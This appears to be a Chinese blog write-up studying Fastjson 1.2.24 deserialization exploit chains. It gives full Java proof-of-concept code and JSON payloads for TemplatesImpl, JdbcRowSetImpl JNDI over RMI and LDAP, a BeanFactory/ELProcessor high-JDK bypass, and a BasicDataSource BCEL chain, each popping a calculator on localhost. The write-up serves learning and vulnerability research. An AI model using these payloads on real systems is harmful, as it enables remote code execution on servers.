环境
- 1.2.22 <= Fastjson <= 1.2.24
依赖
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | <dependency><groupId>com.unboundid</groupId>
 <artifactId>unboundid-ldapsdk</artifactId>
 <version>4.0.9</version>
 </dependency>
 <dependency>
 <groupId>commons-io</groupId>
 <artifactId>commons-io</artifactId>
 <version>2.5</version>
 </dependency>
 <dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.24</version>
 </dependency>
 <dependency>
 <groupId>commons-codec</groupId>
 <artifactId>commons-codec</artifactId>
 <version>1.12</version>
 </dependency>
 
 | 
基于 TemplatesImpl 的利用链
之前cc3就遇到这个TemplatesImpl的利用,就是字节码的加载,当时针对这个的链子是这样的
| 12
 3
 4
 5
 
 | TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()
 -> TemplatesImpl#getTransletInstance()
 -> TemplatesImpl#defineTransletClasses()
 -> TransletClassLoader#defineClass()
 
 | 
刚好这个getOutputProperties()就是一个getter方法,之前CB1链子也提到过。再针对fastjson反序列化的特性,反序列化得到类之后会自动执行该类的构造函数,getter方法,setter方法,所以现在我们就控制要反序列化的对象是``TemplatesImpl`类就好
再看一次能被利用的getter和setter的要求
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
其实TemplatesImpl类也有别的getter函数会被调用,但是getOutputProperties()目前最符合我们的要求,它的返回值是Properties类型也继承自Map类
现在尝试写poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;
 import com.alibaba.fastjson.parser.ParserConfig;
 import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.io.IOUtils;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 
 public class Poc {
 public static String readClass(String cls){
 ByteArrayOutputStream bos = new ByteArrayOutputStream();
 try {
 IOUtils.copy(new FileInputStream(new File(cls)), bos);
 } catch (IOException e) {
 e.printStackTrace();
 }
 return Base64.encodeBase64String(bos.toByteArray());
 }
 public static void main(String[] args) throws IOException {
 ParserConfig config = new ParserConfig();
 String evilPath = "/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class";
 String evilCode = readClass(evilPath);
 String evil_Class = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
 String jsonText = "{\"@type\":\"" + evil_Class + "\",\"_bytecodes\": [\""+evilCode+"\"],'_name':'flow','_tfactory':{},\"_outputProperties\":{ },";
 System.out.println(jsonText);
 Object obj = JSON.parseObject(jsonText,Object.class, config, Feature.SupportNonPublicField);
 }
 }
 
 | 
注意到这里有个config,看了一下
ParserConfig 的作用
ParserConfig 控制反序列化时的关键行为,包含:
- 自动类型检测(autoTypeSupport):决定是否允许反序列化未明确声明的类。
- 白名单/黑名单:限制可反序列化的类。
- 自定义反序列化解析器:处理特定类的实例化方式。
若未显式传递ParserConfig,Fastjson默认使用全局配置(ParserConfig.getGlobalInstance())。如果全局配置的autoTypeSupport为false(默认安全配置),则TemplatesImpl若不在白名单会导致反序列化失败。
传递自定义的ParserConfig则覆盖全局配置,使用新实例的独立配置。
这个总体不难理解,就先这样
基于 JdbcRowSetImpl 的利用链
这个JdbcRowSetImpl类的利用主要就是基于 Bean Property 类型的 JNDI 的利用方式。里面可以找到lookup方法,这个对应上了之前的jndi注入后面的部分

connect()方法找出谁调用了,符合条件的就是setAutoCommit(),所以我们要到时exp要设置autoCommit参数,也要设置datasource才能保证被正确地lookup到,这就是这个链的利用思路

JNDI+RMI
| 12
 3
 4
 
 | {"@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
 }
 
 | 
服务端
| 12
 3
 4
 5
 6
 7
 8
 
 | public class Poc {public static void main(String[] args) throws IOException, NamingException {
 InitialContext initialContext = new InitialContext();
 Registry registry = LocateRegistry.createRegistry(1099);
 Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8000/");
 initialContext.rebind("rmi://127.0.0.1:1099/calc", reference);
 }
 }
 
 | 
客户端
| 12
 3
 4
 5
 6
 
 | public class JdbcClient {public static void main(String[] args) {
 String jsonText = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/calc\", \"autoCommit\":true}";
 Object obj = JSON.parse(jsonText);
 }
 }
 
 | 
成功弹出计算器
JNDI+LDAP
原理和之前差不多
这里我用工具起一个ldap服务器,再改一下客户端代码就好了
| 12
 3
 4
 5
 6
 
 | public class JdbcClient {public static void main(String[] args) {
 String jsonText = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1/HuoyZUQEBX/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\", \"autoCommit\":true}";
 Object obj = JSON.parse(jsonText);
 }
 }
 
 | 
JDK高版本绕过
如果要高版本绕过,依旧是选择本地恶意类加载就好,用到beanfactory即可
服务端代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;
 
 import javax.naming.Reference;
 import javax.naming.StringRefAddr;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class Server {
 public static void main(String[] args) throws Exception {
 System.setProperty("java.rmi.server.hostname", "127.0.0.1");
 Registry registry = LocateRegistry.createRegistry(1099);
 
 
 ResourceRef reference = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
 
 reference.add(new StringRefAddr("forceString", "x=eval"));
 reference.add(new StringRefAddr("x", "Runtime.getRuntime().exec('open -a calculator')"));
 
 ReferenceWrapper wrapper = new ReferenceWrapper(reference);
 registry.bind("calc", wrapper);
 
 System.out.println("RMI服务已启动,等待客户端连接...");
 }
 }
 
 | 
基于BasicDataSouce的利用链
这个和tomcat相关,好处是可以不出网,用到本地的恶意类加载
tomcat有一个org.apache.bcel.util.ClassLoader类,里面有defineClass实现类加载

要满足这段代码然后创建一个类名再到后面defineClass
| 12
 3
 
 | if (class_name.indexOf("$$BCEL$$") >= 0) {clazz = this.createClass(class_name);
 }
 
 | 
所以现在先想办法调用loadClass(),现在尝试直接调用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | import org.apache.bcel.classfile.Utility;import org.apache.bcel.util.ClassLoader;
 
 import java.io.File;
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 
 public class BasicPoc {
 public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
 
 ClassLoader classLoader = new ClassLoader();
 byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 String code = Utility.encode(bytes,true);
 classLoader.loadClass("$$BCEL$$"+code).newInstance();
 }
 }
 
 | 
是运行成功会弹计算器的
所以找到类BasicDataSource#createConnectionFactory()方法

如果driverClassLoader不为空就会forName加载driverClassName和driverClassLoader,forName底层也会调用loadClass,所以现在看这两个参数是不是可控的,如果可以就把driverClassLoader指定成org.apache.bcel.util.ClassLoader,把driverClassName加载成恶意的字节码,从而实现恶意代码
当然是可控的,都有对应的setter

那现在就看有哪里调用createConnectionFactory()方法,链子是
| 12
 3
 
 | BasicDataSource.getConnection()-> createDataSource().getConnection()
 ->this.createConnectionFactory()
 
 | 
先尝试直接调用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | public class BasicPoc {public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
 
 ClassLoader classLoader = new ClassLoader();
 byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 String code = Utility.encode(bytes,true);
 
 
 BasicDataSource basicDataSource = new BasicDataSource();
 basicDataSource.setDriverClassName("$$BCEL$$"+code);
 basicDataSource.setDriverClassLoader(classLoader);
 basicDataSource.getConnection();
 }
 }
 
 | 
现在也是可以弹计算器
下面引入fastjson反序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | public class BasicPoc {public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
 
 ClassLoader classLoader = new ClassLoader();
 byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 String code = Utility.encode(bytes,true);
 
 
 
 
 
 
 
 
 String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+ code + "\",\"driverClassLoader\":{\"@type\":\"org.apache.bcel.util.ClassLoader\"}}";
 JSON.parseObject(s);
 }
 }
 
 | 
这里要用parseObject才可以,因为要用到getter方法,parseObject里面parse后有toJson才会调用到getter方法
这个链子大概就是这样。
参考
【fastjson反序列化漏洞2-1.2.24利用】https://www.bilibili.com/video/BV1pP411N726?vd_source=46e5237289ae6c1a3c7bcab6091e42a6
https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
小结
前面讲到的利用还是套上了以前的知识,这次是用json字符串去触发反序列化,所以要先理解好前面的内容,相对来说结合jndi注入的利用链比较常见